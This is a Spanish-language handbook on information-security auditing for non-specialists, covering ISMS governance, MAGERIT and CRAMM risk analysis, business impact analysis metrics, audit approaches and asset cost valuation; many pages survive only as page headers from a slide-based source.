Documentos de Académico
Documentos de Profesional
Documentos de Cultura
Los ciclos de vida son cada vez más cortos en este sector. Aparecen
nuevas tecnologías con más funcionalidades, pero también como
más retos para el departamento de prevención y defensa.
Sobre el Autor.
Cualquier otro uso habrá de ser comunicado y autorizado por INCIBE, previa y
expresamente.
Respecto a las citas de productos y servicios de terceros, INCIBE reconoce a favor de sus
titulares los correspondientes derechos de propiedad industrial e intelectual, no implicando
su sola mención o aparición en la Web la existencia de derechos ni de responsabilidad
alguna sobre los mismos, como tampoco respaldo, patrocinio o recomendación.
INCIBE declara su respeto a los derechos de propiedad intelectual e industrial de terceros;
por ello, si considera que nuestros portales pudieran estar violando sus derechos, rogamos
se ponga en contacto con INCIBE.
SlideShare©® extraído de la Wikipedia©®
Esta ubicuidad de ISSAF tiene como objetivo facilitar su adopción como el marco
de evaluación de seguridad preferido por los departamentos de TI de todo el
mundo. En el proceso de esta adopción, OISSG busca posicionarlo como la base
para acreditar los sistemas de seguridad de la información de una organización
a nivel de especificaciones técnicas que han sido probadas y probadas por los
principales profesionales de seguridad de todo el mundo.
Red Hat Enterprise Linux. Cuyo fabricante Red Hat es conocido por su amplia
gama de soluciones y aportes al desarrollo de software libre. Apoya el proyecto
Fedora del cual se beneficia y de ella se derivan distribuciones compatibles como
Oracle Enterprise Linux y CentOS, también distribuciones como Mandriva Linux,
se basó en una de sus primeras versiones.
Debian GNU/Linux. Con una de las comunidades más grandes y antiguas del
movimiento de software libre, es base para distribuciones como Xandros, Mepis,
Linspire y Ubuntu.
UX/4800 de NEC.
extraído de la Wikipedia©®.
El sistema AS/400 es un equipo de IBM de gama media y alta,
para todo tipo de empresas y grandes departamentos.
Se trata de un sistema multiusuario, con una interfaz controlada
mediante menús y comandos CL (Control Language) intuitivos que utiliza
terminales y un sistema operativo basado en objetos y bibliotecas,
denominado OS/400.
Un punto fuerte del OS/400 es su integración con la base de datos DB2/400,
siendo los objetos del sistema miembros de la citada base de datos. Ésta
también da soporte para los datos de las aplicaciones, dando como resultado un
sistema integrado potente y estable.
Actualmente, con la denominación IBM i, anteriormente conocida como System
i e iSeries, soporta otros sistemas operativos tales como GNU/Linux, AIX o
incluso Windows en una placa Intel integrada, soportando también de forma
nativa múltiples aplicaciones antes reservadas a Windows.
La máquina se basó originalmente en una CPU CISC de IBM, pero en 1996 se
migró a una familia de CPU RISC basada en microprocesadores PowerPC de 64
bits. Hasta marzo de 2010, los últimos modelos, que bajo la denominación IBM
Power Systems unificaron las plataformas System i y System p de IBM, se
basan en el procesador POWER7.
La capacidad de supervivencia de la máquina es debida a su capa de MI o
Machine Interface, que aísla el hardware y permite, mediante el uso de APIs, que
el sistema operativo y los programas de aplicaciones se aprovechen de los
avances en hardware sin tener que recompilarlo y de su adaptación al entorno
empresarial crítico, en donde la estabilidad y fiabilidad del sistema son
fundamentales. Soporta lenguajes de programación de 3ª y 4ª generación.
Se diseñó como sustituto del IBM System/38 y partiendo de su arquitectura,
cuyos orígenes se remontan a los años 1978 y 1979.
Contenido
Capítulo 1 ............................................................................................................... 4
¿Por qué y Para qué debo certificar mi empresa? ............................................ 4
Capítulo 2 ............................................................................................................... 8
Por dónde empezar y como ............................................................................... 8
Capítulo 3 ............................................................................................................. 19
Identificando activos y su clasificación. ISO 55001 ........................................ 19
Capítulo 4 ............................................................................................................. 32
La Gestión del Riesgo y la Continuidad del Negocio. ISO 22301 ................. 32
Características del análisis de impacto ............................................................................... 41
Consideraciones durante el desarrollo del BIA ................................................................... 42
Ventajas de la realización de un análisis de impacto .......................................................... 42
Capitulo 5 Auditorias: ...........................................................................................52
No es tan fiero el Lobo como lo pintan. ...........................................................52
Vulnerabilidades y Ataques Informáticos...................................................................... 56
Auditoria de Redes Lógicas ................................................................................................. 59
Auditoria Red Física ............................................................................................................. 61
Auditorias de Sistemas Operativos Servidor / Cliente. ....................................................... 69
Capítulo 6 ............................................................................................................. 72
Las Bases de Datos y su Auditoria: Motor SGDBR y Desarrollo. ................. 72
Donde descansa la mayoría de la información de nuestra empresa. ................................. 72
Auditoria de Base de Datos y Desarrollo............................................................................. 72
Capítulo 7 ............................................................................................................. 94
Las conclusiones y la traducción a un término universal: el Coste. ............... 94
Capítulo 8 ...........................................................................................................104
La Nomenclatura y Estructura de las Normas...............................................104
Normas ISO – ISO / IEC – ISO – UNE. ................................................................................. 104
Capítulo 9 ...........................................................................................................106
Políticas Organización y Seguridad de la Información. ................................106
Dominio 5 & 6.................................................................................................................... 106
Capítulo 10 .........................................................................................................107
Recursos Humanos. .......................................................................................107
Dominio 7 .......................................................................................................................... 107
Capítulo 11 .........................................................................................................108
Página 1 de 430
Manual de Auditoria para no Auditores
Página 2 de 430
Manual de Auditoria para no Auditores
Página 3 de 430
Manual de Auditoria para no Auditores
Capítulo 1
Página 5 de 430
Manual de Auditoria para no Auditores
Página 6 de 430
Manual de Auditoria para no Auditores
Página 7 de 430
Manual de Auditoria para no Auditores
Capítulo 2
Página 8 de 430
Manual de Auditoria para no Auditores
Página 9 de 430
Manual de Auditoria para no Auditores
El CSGSI
¿Debe de haber más de un CSGSI? ¿Cuáles son los perfiles de los
miembros del CSGSI? ¿Cómo construir un buen CSGSI?
Funciones y Competencias. Aportación a la estructura organizacional
previa a cualquier trabajo de Auditoria y Certificación.
Debe haber un Comité de Gestión de la Seguridad de la Información
CSGSI Directivo y varios CSGSI departamentales o por unidades de
negocio
El número de ideal de miembros del CSGSI
debe ser de 6 a 8, como máximo, por varias
razones que vamos a exponer ahora:
SINCRONIZACIÓN INTERESES PERSONALES.
SINCRONIZACIÓN INTERESES PROFESIONALES.
REDISTRIBUCIÓN DE RECURSOS HUMANOS.
REDISTRIBUCIÓN DE RECURSOS FINANCIEROS.
VISIONES ESTRATÉGICA, TÁCTICA Y OPERATIVA.
RESISTENCIA ZONA DE CONFORT.
ISLAS DE CONOCIMIENTOS PROPIO Y VECINOS.
FALTA DE FACTOR Z.
Todas y cada de las anteriores circunstancias se traducen en una sola
manifestación que se da de forma habitual: la dificultad de sincronizar
agendas de forma semanal para informar de problemas y logros que
hacen que la organización, no esté alcanzando los objetivos o las metas
fijadas.
Para lograr un alineamiento correcto orientado a certificación o no, lo
primero es vencer los vicios ocultos que todas las organizaciones y
personas tienen, que además están íntimamente vinculados al acervo
cultural, organizacional y educativo de las personas que la integran y
aportan desde su incorporación. Tres modelos claramente
diferenciados: el modelo japonés corporativo desde el colegio hasta la
jubilación, el modelo anglosajón los objetivos profesionales y
personales son una sola entidad al servicio del crecimiento personal e
individual, frente al resto, y el latino que es casi igual al anglosajón,
pero utilizando las influencias personales y profesionales por encima
de cualquier otra clase de medio, como sería el conocimiento y la
experiencia.
Es obvio que la existencia de varios SGSI departamentales, obliga a un
nuevo reparto de las tareas y el tiempo estimado, antes de la toma de
esta decisión, ya sea para alinearse, ya sea para certificarse, por parte
de la dirección, como una misión estratégica.
Página 10 de 430
Manual de Auditoria para no Auditores
Página 11 de 430
Manual de Auditoria para no Auditores
Página 12 de 430
Manual de Auditoria para no Auditores
Página 13 de 430
Manual de Auditoria para no Auditores
Página 14 de 430
Manual de Auditoria para no Auditores
Página 15 de 430
Manual de Auditoria para no Auditores
Página 16 de 430
Manual de Auditoria para no Auditores
Página 17 de 430
Manual de Auditoria para no Auditores
Hay una cosa que Ustedes deben tener presente, con cuando hablamos
de información no sólo hablamos de la información, que utilizamos
dentro de nuestro ámbito profesional, también hay información
personal, que se captura desde las redes sociales y que puede facilitar
una puerta de entrada aparentemente inocua, que en muchos casos
resulta letal.
De todas formas, los delincuentes informáticos son: excelentes
sociólogos y psicólogos y no dudarán en usar cualquier combinación de
elementos, que sea necesaria para obtener las informaciones, que le
conduzcan a su objetivo, aunque para Usted o para mí en apariencia el
dato, en cuestión, no tenga ninguna relación directa con nuestra
actividad profesional.
En cualquier caso, para profundizar sobre estos aspectos le recomiendo
las siguientes lecturas para profundizar en la tipología de los
delincuentes informáticos y sus víctimas que son CLC-91-
Ciberdelicuentes y Cibervictimas y Compresión psicojurídica de los
Ciberdelincuentes. Ambos se adjuntan al final de este libro, así como
otros que complementan los aquí enunciado y reseñado.
Hay que señalar que la existencia de todos estos tipos de delincuentes
no necesariamente implica, que su empresa, tiene porqué sufrir
ataques; salvo que las actividades de su empresa estén relacionadas
con sectores muy lucrativos o sean una infraestructura crítica.
Página 18 de 430
Manual de Auditoria para no Auditores
Capítulo 3
Página 19 de 430
Manual de Auditoria para no Auditores
Página 20 de 430
Manual de Auditoria para no Auditores
Página 21 de 430
Manual de Auditoria para no Auditores
Página 22 de 430
Manual de Auditoria para no Auditores
Página 23 de 430
Manual de Auditoria para no Auditores
Página 24 de 430
Manual de Auditoria para no Auditores
Página 25 de 430
Manual de Auditoria para no Auditores
Página 26 de 430
Manual de Auditoria para no Auditores
Página 27 de 430
Manual de Auditoria para no Auditores
Página 28 de 430
Manual de Auditoria para no Auditores
SGA
Página 29 de 430
Manual de Auditoria para no Auditores
Página 30 de 430
Manual de Auditoria para no Auditores
Página 31 de 430
Manual de Auditoria para no Auditores
Capítulo 4
Página 32 de 430
Manual de Auditoria para no Auditores
Página 33 de 430
Manual de Auditoria para no Auditores
Página 34 de 430
Manual de Auditoria para no Auditores
Asimismo, Cramm calcula los riesgos para cada grupo de activos contra las
amenazas a las que es vulnerable en una escala de 1 a 7, utilizando una matriz
de riesgo con valores predefinidos comparando los valores de activos a las
amenazas y niveles de vulnerabilidad. En esta escala, "1" indica una línea de
base de bajo nivel de exigencia de seguridad y el “7 " indica un requisito de
seguridad muy alto.
Basándose en los resultados del análisis de riesgos, Cramm produce una serie
de contramedidas aplicable al sistema o red que se consideran necesarias para
gestionar los riesgos identificados. El perfil de seguridad recomendado a
Página 35 de 430
Manual de Auditoria para no Auditores
Página 36 de 430
Manual de Auditoria para no Auditores
Página 37 de 430
Manual de Auditoria para no Auditores
Aunque con modificaciones mínimas aquí mostramos de una parte una lista de
amenazas contempladas por MAGERIT, pero recomendamos la lectura del
documento que enunciamos tras la exposición de esta lista.
Amenaza/Activo
Fuego
Daños por agua
Desastres naturales
Fuga de información
Introducción de falsa información
Alteración de la información
Corrupción de la información
Destrucción de información
Interceptación de información (escucha)
Corte del suministro eléctrico
Condiciones inadecuadas de temperatura o humedad
Fallo de servicios de comunicaciones
Interrupción de otros servicios y suministros esenciales
Desastres industriales
Degradación de los soportes de almacenamiento de la
información
Difusión de software dañino
Errores de mantenimiento / actualización de programas
(software)
Errores de mantenimiento / actualización de equipos
(hardware)
Caída del sistema por sobrecarga
Pérdida de equipos
Indisponibilidad del personal
Abuso de privilegios de acceso
Acceso no autorizado
Errores de los usuarios
Errores del administrador
Errores de configuración
Denegación de servicio
Robo
Indisponibilidad del personal
Extorsión
Ingeniería social
El INCIBE ha publicado un documento muy interesante, que añadimos
al final de esta guía, orientada claramente hacia los empresarios y que
nos muestra cual es la importancia de desarrollar de forma correcta
tanto el Análisis de Riesgos y la aplicación de Contramedidas o
Salvaguardias para cada tipo de activo. Hagamos pues un resumen
gráfico hasta ahora de los pasos para comprender mejor el esquema
de trabajo como proyecto.
Página 38 de 430
Manual de Auditoria para no Auditores
Página 39 de 430
Manual de Auditoria para no Auditores
Página 40 de 430
Manual de Auditoria para no Auditores
También, el BIA puede ser considerado como una fase a ejecutar durante el
desarrollo de un Plan de Recuperación ante Desastres (DRP), y por lo tanto de
un Plan de Continuidad del Negocio (BCP), debido a que permite a las
organizaciones estimar la magnitud del impacto operacional y
financiero asociado a una interrupción. En esta entrega vamos revisar las
características del BIA y el proceso asociado a su desarrollo.
Para ello se define el Tiempo Objetivo de Recuperación (RTO por sus siglas
en inglés), que es el período permitido para la recuperación de una función o
recurso de negocio a un nivel aceptable luego de una interrupción o desastre, y
el Punto Objetivo de Recuperación (RPO) que describe la antigüedad máxima
de los datos para su restauración, es decir, la tolerancia que el negocio puede
permitir para operar con datos de respaldo, por lo que el RPO estará en función
de las actividades primordiales de una organización.
Página 41 de 430
Manual de Auditoria para no Auditores
En general, los activos de soporte en las empresas están relacionados con las
instalaciones, infraestructura de TI, software o hardware, entre otros, mismos
que en ocasiones se vuelven indispensables para una actividad específica.
Cuando se tiene esta información, se definen los valores para el RTO y RPO
para cada una de las actividades, funciones o procesos considerados, así como
otros elementos, por ejemplo, el tiempo de inactividad máximo tolerable
(Máximum Tolerable Downtime, MTD) o la interrupción máxima tolerable
(Máximum Tolerable Outage, MTO), es decir, el período máximo de no
disponibilidad para las actividades, activos o procesos, antes de que la
organización deje de operar.
Página 42 de 430
Manual de Auditoria para no Auditores
Volvamos a construir un gráfico que nos situé de nuevo, una vez que hemos
concluido este conjunto de actividades.
Hay que señalar que cada sector de negocio tiene sus propios BIAs, estos que
mostramos son a modo de ejemplo y debe ser sólo una referencia que habrá de
adecuarse al sector en cada caso.
Página 43 de 430
Manual de Auditoria para no Auditores
Nivel B: La operación es una parte integral del negocio, sin ésta el negocio
no podría operar normalmente, pero la función no es crítica.
Página 44 de 430
Manual de Auditoria para no Auditores
Una vez identificados los procesos críticos del negocio, se deben establecer los
tiempos de recuperación que son una serie de componentes correspondientes
al tiempo disponible para recuperarse de una alteración o falla de los servicios;
el entendimiento de estos componentes es fundamental para comprender el BIA.
Los tiempos de recuperación de describen a continuación:
Tiempo de Descripción
Recuperación
Magnitud de la pérdida de datos medida en términos de un
RPO
periodo de tiempo que puede tolerar un proceso de negocio.
Tiempo Disponible para Recuperar Sistemas y/o recursos que
RTO
han sufrido una alteración.
Tiempo Disponible para Recuperar Datos Perdidos una vez que
WRT los sistemas están reparados. Tiempo de Recuperación de
Trabajo.
Periodo Máximo Tiempo de Inactividad que puede tolerar la
MTD
Entidad sin entrar en colapso.
Una vez identificados los procesos críticos del negocio, función que hace parte
del análisis de los impactos operacionales, se procede a identificar el MTD, que
corresponde al tiempo máximo de inactividad que puede tolerar una organización
antes de colapsar y se hace la clasificación a fin de priorizar la recuperación del
proceso (servicio). Esto quiere decir que si por ejemplo un proceso tiene un
periodo máximo de tiempo de inactividad (MTD) de un (1) día, este debe tener
mayor prioridad para iniciar el evento de recuperación, en razón al poco tiempo
de tolerancia de la inactividad, frente a otros que tienen mayor tolerancia.
El siguiente ejemplo ilustra esta situación:
Página 45 de 430
Manual de Auditoria para no Auditores
IDENTIFICACIÓN DE RECURSOS
Página 46 de 430
Manual de Auditoria para no Auditores
La identificación de procesos alternos hace posible que los procesos del negocio
puedan continuar operando en caso de presentarse una interrupción; para ello
es oportuno que las Entidades tengan métodos alternativos de manera temporal
que ayuden a superar la crisis que ha generado una interrupción; por lo tanto,
para cada proceso crítico que se establezca (en los servicios), se debe poseer
un procedimiento manual de continuidad del servicio.
Página 47 de 430
Manual de Auditoria para no Auditores
3 Hiles, Andrew. Business Continuity: Best Practices. Rothstein Associates, Inc. 2004 Connecticut.
Riesgos Tecnológicos:
Riesgos Humanos:
Robos.
Acto Hostil.
Marchas, mítines.
Artefactos explosivos.
Problemas organizacionales.
Problemas con los proveedores de insumos o subproductos.
Desastres Naturales:
Sismos.
Tormentas Eléctricas.
Incendios.
Inundaciones.
Página 48 de 430
Manual de Auditoria para no Auditores
Hardware Problemas Hardware de Falla de los servicios de los sistemas de información que
distribuido Servidores usan la plataforma de servidores.
Página 49 de 430
Manual de Auditoria para no Auditores
Desarrollo de
aplicaciones
Falla en la aplicación por
desarrollo no adecuado por Contempla la degradación de un servicio por fallas en la
parte de la Entidad funcionalidad en los sistemas de información de la Entidad.
.
IDENTIFICACIÓN DE VULNERABILIDADES
Estas no son causa necesariamente de daño, sino que son condiciones que
pueden hacer que una amenaza afecte a un activo de información en particular.
Página 50 de 430
Manual de Auditoria para no Auditores
Defacement
Servicio Web de Página Web Mal diseño del
(desfiguración Medio Alto
la Entidad Entidad sitio web
página web)
Correo
Virus, listas Carencia de
Servicio correo electrónico Alto Alto
negras parches de
electrónico Exchange
seguridad
Mala
Router /
Servicio de Red Fallo en las configuración
Firewall y Medio Alto
Comunicaciones Comunicaciones o Elección del
Switches
Modelo
Es obvio, que en esta tabla se han omitido todas las vulnerabilidades, relativas
al Software, debido a que el Software admite múltiples combinaciones y es
imposible predecir todos los resultados, dado que no todos los productos
software, aparecen de forma coordinada y no todas las organizaciones migran
sus herramientas y sus aplicaciones derivadas del uso de las mismas.
Para localizar las vulnerabilidades software hay varias páginas que son
interesantes vamos hablar de las dos más conocidas la primera es del Instituto
Nacional de Ciberseguridad (INCIBE) cuya dirección web para vulnerabilidades
es https://www.certsi.es/alerta-temprana/vulnerabilidades.
Una vez tenemos los informes de los BIAs que han sido sometidos a las
valoraciones y aprobaciones tanto del: CSGSI como del CSGA, será necesario
comprobar de forma controlada su correcto funcionamiento, para ello hemos de
corroborar la funcionalidad frente a las amenazas externas como internas, para
ello nos valdremos de las técnicas relacionadas con las distintos tipos de
Auditoria de utilizadas para chequear y contrastar los siguientes elementos que
Página 51 de 430
Manual de Auditoria para no Auditores
componen los elementos TIC /SI: Redes, Sistemas Operativos Servidor / Cliente
y Aplicaciones por último las Bases de Datos de la cuales vamos hablar a
continuación, para su mejor compresión y para valor su viabilidad dentro de
nuestro proyecto.
Capitulo 5 Auditorias:
Auditoria de Redes teniendo en cuenta que hoy en día todos los negocios se
realizan a través de las Redes y todas ellas, conectadas a su vez a la Red de
Redes (Internet) debemos prestar especial atención a la Auditoria que se realiza
sobre este elemento, tanto por parte de los atancantes externos, como los
internos, que transfieren información sensible o confidencial hacia el exterior.
Para respetar los derechos de autor, cada conjunto de diapositivas tendra, como
diapositiva inicial aquella donde figura el autor de la misma y los datos de
contacto de los mismos. Esto se hace para atenerse a lo dispuesto en la ley de
propiedad intelectual.
Página 52 de 430
Manual de Auditoria para no Auditores
Página 53 de 430
Manual de Auditoria para no Auditores
Página 54 de 430
Manual de Auditoria para no Auditores
Una vez hemos conocido el estándar relativo a las condiciones físicas que debe
de cumplir toda instalación TIC / SI para garantizar su operatividad funcional
podemos pasar al abordaje de la parte lógica de la Auditoria de Redes. Lo
primero que debemos de comprender es que tanto desde el exterior como desde
el interior es posible que se produzcan ataques y que todos los ataques tanto
externos como internos siguen unas pautas que apoyan en la existencia de
agujeros de seguridad conocidos como vulnerabilidades y que utilizan técnicas
Página 55 de 430
Manual de Auditoria para no Auditores
Página 56 de 430
Manual de Auditoria para no Auditores
Caja negra.
Caja Blanca.
Una auditoria de tipo caja blanca se produce cuando el auditor puede gozar de
conocimientos internos (puede conocer la infraestructura de la web, las medidas
de seguridad de la página web, puede entrevistar a los desarolladores, puede
revisar código, etc..) y simula el comportamiento de un atacante que podría venir
del interior de la organización y/o con colaboración interna a la misma.
Caja Gris.
Prueba de caja gris (del inglés: Gray box testing) es una combinación de
prueba con caja blanca y prueba con caja negra. El objetivo de esta prueba
es para buscar los defectos debido a una estructura incorrecta o en el uso
incorrecto de aplicaciones. Las pruebas con caja gris son beneficiosas porque
toman la técnica directa de la prueba de caja negra y lo combinan con los
sistemas con código en mente de la prueba con caja blanca.
Las pruebas con caja gris están basadas en generar caso de prueba como
requisito porque así se presentan todas las condiciones antes de que el
programa sea probado utilizando el método de aserción. Una lengua de
especificación es usada para hacer más fácil de entender los requisitos y verificar
su uso correcto.
Página 57 de 430
Manual de Auditoria para no Auditores
Página 58 de 430
Manual de Auditoria para no Auditores
Página 59 de 430
Manual de Auditoria para no Auditores
Por ello es muy importante hacer hincapié, en los procesos de auditoria que
afectan al Firewall, los Switches, y todos los dispositivos que se
direccionen mediante una dirección ip, ya que son susceptibles de sufrir
ataques. Por eso es conveniente y necesario que el Auditor disponga de: un
inventario técnico detallado, para poder estudiar de forma anticipada los
mecanismos de seguridad con los que cuentan estos dispositivos, así como
Página 60 de 430
Manual de Auditoria para no Auditores
conocer, si existe una guía de auditoria que incluso algunos fabricantes elaboran
para verificar la operatividad más allá de lo que hace el usuario convencional.
Página 61 de 430
Manual de Auditoria para no Auditores
Página 62 de 430
Manual de Auditoria para no Auditores
Página 63 de 430
Manual de Auditoria para no Auditores
Página 64 de 430
Manual de Auditoria para no Auditores
Página 65 de 430
Manual de Auditoria para no Auditores
Página 66 de 430
Manual de Auditoria para no Auditores
Página 67 de 430
Manual de Auditoria para no Auditores
Página 68 de 430
Manual de Auditoria para no Auditores
Los sistemas operativos son la primera pieza por la que la seguridad puede
quebrarse desde fuera y desde dentro, empecemos por algo muy básico como
es que mientras en los grandes sistemas o mainframes o sistemas clásicos cuya
arquitectura era: maestro-esclavos, el terminal carece de inteligencia para
ejecutar procesos, en los sistemas modernos la capacidad de ejecución de
procesos no llega alcanzarse por parte de los terminales, pero contraprestación
el tipo de procesos que pueden ejecutarse es infinito frente al ordenador central.
Página 69 de 430
Manual de Auditoria para no Auditores
5.- Que dispone de herramientas para adecuar los recursos de cada cliente, de
forma individual, conforme a un perfil compuesto de ubicación física y lógica, ya
sea fija o móvil, respecto tanto a los recursos locales conforme al tipo de terminal
que se esté utilizando, ya sea: PC-Desktop, Portátil, Tablet, Smartphone, u otros
que surjan en un futuro, como respecto a los recursos remotos allí, donde se le
ha permitido el acceso.
6.- Debe garantizar, que no podrá modificar salvo autorización expresa y bajo
circunstancias excepcionales, cualquiera de los componentes que no estén
requeridos de forma explícita por los requisitos de comunicación o de uso de
programas (entiéndase aplicaciones) para fin distinto al que fue establecido por
la organización.
7.- Que cualquier modificación local, será siempre transitoria y deberá estar
autorizada, ya que se verificará que las configuraciones de componentes
disponibles, para este usuario, deben permanecer inalterables y en caso de
encontrar discrepancias, la configuración establecida en el servidor de dominio
donde se conecta, como primer punto de acceso a la red y donde está registrado
remplazará la modificada, ya que solo la definida en el servidor es aceptada
como válida.
10.- Que debe de contar con sistema que permitan gestionar diferentes estados
del sistema operativo local y realizar trabajos de recuperación en caso de
Página 70 de 430
Manual de Auditoria para no Auditores
Todas las pruebas relacionadas con este tipo de Auditorias, las de Sistema
Operativo, han de ser realizadas mediante la ejecución de sencillos scripts, para
los cuales el auditor, no tienen necesariamente que tener mayores
conocimientos del sistema operativo o sistemas operativos a auditar, que
cualquier usuario de la organización, donde se está desarrollando la auditoria.
Página 71 de 430
Manual de Auditoria para no Auditores
Capítulo 6
Como en los casos anteriores vamos a utilizar dos presentaciones una muy
generalista y una más especifica que nos indican las pautas a seguir: Extraído
de SlideShare Publicado 28 de mayo 2013.
Algo que puede parecer muy banal y no lo es, la base de datos que utiliza el
personal de Seguridad Física, que realiza el control de Accesos a nuestras
instalaciones y que puede estar vinculada con la Base de Datos de Video
vigilancia.
Página 72 de 430
Manual de Auditoria para no Auditores
Incluso los sistemas operativos utilizan bases de datos, para gestionar los
Usuarios, los grupos de pertenencia a Grupos de Trabajo y Dominios, tipo de
objetos a los que se puede acceder y tipo de uso que se les puede aplicar, etc.
Página 73 de 430
Manual de Auditoria para no Auditores
Página 74 de 430
Manual de Auditoria para no Auditores
Página 75 de 430
Manual de Auditoria para no Auditores
Página 76 de 430
Manual de Auditoria para no Auditores
Página 77 de 430
Manual de Auditoria para no Auditores
Página 78 de 430
Manual de Auditoria para no Auditores
Página 79 de 430
Manual de Auditoria para no Auditores
Página 80 de 430
Manual de Auditoria para no Auditores
Página 81 de 430
Manual de Auditoria para no Auditores
Página 82 de 430
Manual de Auditoria para no Auditores
Página 83 de 430
Manual de Auditoria para no Auditores
Página 84 de 430
Manual de Auditoria para no Auditores
Y como las Bases de Datos y la mayoría de las aplicaciones que las empresas
desarrollan para su modelo de gestión del negocio, generan una problemática
propia a la hora de Auditar hablemos de este proceso, primero de forma
generalista y luego profundizaremos más en la cuestión.
Página 85 de 430
Manual de Auditoria para no Auditores
Página 86 de 430
Manual de Auditoria para no Auditores
Página 87 de 430
Manual de Auditoria para no Auditores
Básicamente lo que se busca de forma sistemática hoy dentro del Código son
las puertas trasera o Backdoor, y aquellos puntos donde es posible realizar
inyecciones SQL concepto que vamos a explicar, más adelante dentro de este
mismo capítulo, puesto que una gran parte de ataques modernos vía Web se
basan en esta técnica que permite acceder a Bases de Datos, con lo que ello
supone, no solo por la pérdida de Confidencialidad de la Información y de la
alteración de la Integridad, amén de hacerla disponible más allá de los limites
aceptados permitidos.
Página 88 de 430
Manual de Auditoria para no Auditores
Página 89 de 430
Manual de Auditoria para no Auditores
Cuando trabaje con documentos XML, valide todos los datos con
respecto a su esquema a medida que se vayan indicando.
Página 90 de 430
Manual de Auditoria para no Auditores
Página 91 de 430
Manual de Auditoria para no Auditores
Otra tabla que nos puede ayudar a comprobar no sólo el progreso de nuestros
múltiples proyectos de auditoria sería una tabla como la siguiente que es un
mapa detallado de hallazgos sobre las amenazas vinculadas con los riesgos.
Esta tabla además de ser fácil de interpretar por el uso de los colores nos da idea
aproximada de que tan grande es el riesgo, en función del número de
vulnerabilidades, prevaleciendo sobre todas las de tipo VA Vulnerabilidad de Alto
Riesgo que pueden obligarnos a investigar ¿por qué este activo físico o lógico
presenta este estado? un ejemplo clásico serían aquellos activos hardware que
se han dejado de fabricar, o de contratar su mantenimiento o aquellos que
superen los diez años de antigüedad, debido al fenómeno de la obsolescencia
programada de una parte y de otra la dificultad de reposición que a veces implica
por la no disponibilidad de recambios o por la dificultad de replicar la
configuración del mismo.
Otro aspecto que debemos estudiar es: si los activos físicos y lógicos están
interconectados, ejemplos las aplicaciones ERP / CRM todas estas aplicaciones
comparten datos, y por tanto vulnerabilidades, sobre ellas tienen un factor
multiplicador que debe ser tenido en cuenta a la hora de calcular el riesgo, que
implica no subsanar / erradicar sus vulnerabilidades o plantearse su sustitución
por otras herramientas más evolucionadas en el aspecto de la seguridad.
Página 92 de 430
Manual de Auditoria para no Auditores
Página 93 de 430
Manual de Auditoria para no Auditores
Capítulo 7
El valor actual del bien, este valor se rige por criterios fiscales, y es sencillo para
el hardware, ya que por ejemplo un PC, un Servidor o una impresora de Red
deben de estar amortizado en un plazo máximo de tres años. Otra cosa es que
el criterio tributario coincida con nuestro criterio empresarial, pues es evidente
que un Servidor, una Impresora de Red o los PCs no se renuevan cada tres
años, salvo que estemos utilizando compras mediante alquiler con opción a
compra (leasing) y otras similares o haya una causa de fuerza mayor, que
justifique su cambio. En el tema del Software y dependiendo de qué tipo de
Software estemos hablando el valor puede desde mantenerse a desaparecer.
Página 94 de 430
Manual de Auditoria para no Auditores
Todo software / aplicación, tiene como valor el coste de los productos base
(Licencias) más las horas de adecuación/personalización/formación/hombre
necesarias, para cumplir la misión para el cual fue adquirido o desarrollado, este
valor está acotado en el tiempo, pero es como el valor de compra, no desaparece
y no se incrementa, sin embargo, sin datos y sin utilización, no tendría sentido
pues no podría evolucionar y acabaría por volverse obsoleto y desaparecer.
Por tanto, debemos calcular la suma de todos valores a los que habrá que sumar
lo relativo a disponer de las copias de seguridad que sostienen este valor. Por
tanto, cuando hablamos de riesgo de un sistema y sus activos vinculados
debemos hablar de una expresión del siguiente tipo:
𝑛
𝑛 𝑁
Donde VACR significa Valor del Activo Cálculo del Riesgo y todos los sumatorio
van de 1 a N porqué un sistema en nuestro caso es una suma de elementos
veamos un ejemplo sistema contable para un departamento contable con 17
personas, 2 Jefe Contables y 1 Director Financiero. El resultado es esta hoja
sencilla sin incluir los costes de adecuación al marco legal y sin incluir la carga
inicial del sistema desde otra aplicación de contabilidad.
RRHH Salario B/A RRHH Subtotales RRHH Coste / Día RRHH/ Año Coste / Hora
Página 95 de 430
Manual de Auditoria para no Auditores
Por tanto los tiempos que utilizan para calcular el plazo de tiempo que puede
estar una compañía sin tener operativo su sistema de información, están en
relación directa del coste, lo que implica el no tenerlo disponible, más los costes
adicionales que supone añadir la información que se estuvo generando en
sistemas de soporte alternativo y que quizás no tenga implantado todos los
métodos de validación de datos, lo que supone que durante la carga para situar
el re arranque del sistema, requerirá una depuración de los datos nuevos
ocurridos durante la disrupción.
Recordemos que estos tiempos de los que hemos hablado, antes de ver cómo
vamos a segmentar cada riesgo y que acciones se tomaran de acuerdo una
política que debemos haber fijado en las primeras reuniones tanto del CSGSI
como del CSGA y que definen la política de riesgos.
Tiempo de Descripción
Recuperación
Magnitud de la pérdida de datos medida en términos de un
RPO
periodo de tiempo que puede tolerar un proceso de negocio.
Tiempo Disponible para Recuperar Sistemas y/o recursos que
RTO
han sufrido una alteración.
Tiempo Disponible para Recuperar Datos Perdidos una vez que
WRT los sistemas están reparados. Tiempo de Recuperación de
Trabajo.
Periodo Máximo Tiempo de Inactividad que puede tolerar la
MTD
Entidad sin entrar en colapso.
Página 96 de 430
Manual de Auditoria para no Auditores
Por tanto, cuando estamos definiendo tanto el BCPR como el DPR, es decir los
elementos fundamentales de la ISO 22301, deberíamos tener presente y en
mente la siguiente ecuación.
Por tanto, además debemos presente que hay que elaborar un mapa de
interdependencias de datos, aunque los procesos y los procedimientos estén
separados por restricciones: legales, organizativas o funcionales.
Antes de añadir este elemento recordemos que debemos contar con los
siguientes mapas de datos para evaluar correctamente el riesgo antes de tomar
una decisión.
Estos dos conjuntos de datos son importantes para elaborar el tercer tipo de
mapa que es el de datos compartidos entre una o más áreas.
Como se puede deducir a partir de los datos de esta tabla de un supuesto, muy
simplificado tenemos: un sistema que tiene periodicidad diaria que es Ventas
que tiene un campo llamado Urgencia del Pedido que condiciona a los demás
sistemas que tienen una periodicidad semanal.
Página 97 de 430
Manual de Auditoria para no Auditores
Por tanto: Ventas sería un sistema de cual hay que garantizar su continuidad y
que además tiene una prioridad 1, en cuanto a recuperación y tiene por tanto el
mínimo valor dentro del MTD.
El siguiente sistema seria Provisión dado que salvo los pedidos urgentes el resto
de pedidos puede procesar con una demora de 5 días al igual que ocurre con su
proceso de contabilización por tanto Provisión tendría una prioridad 2 en cuanto
a recuperación y el siguiente valor mínimo dentro del MTD después del Ventas
y a la par con Facturación.
Y por último contabilidad, debido a que contabilidad sólo refleja hechos legales
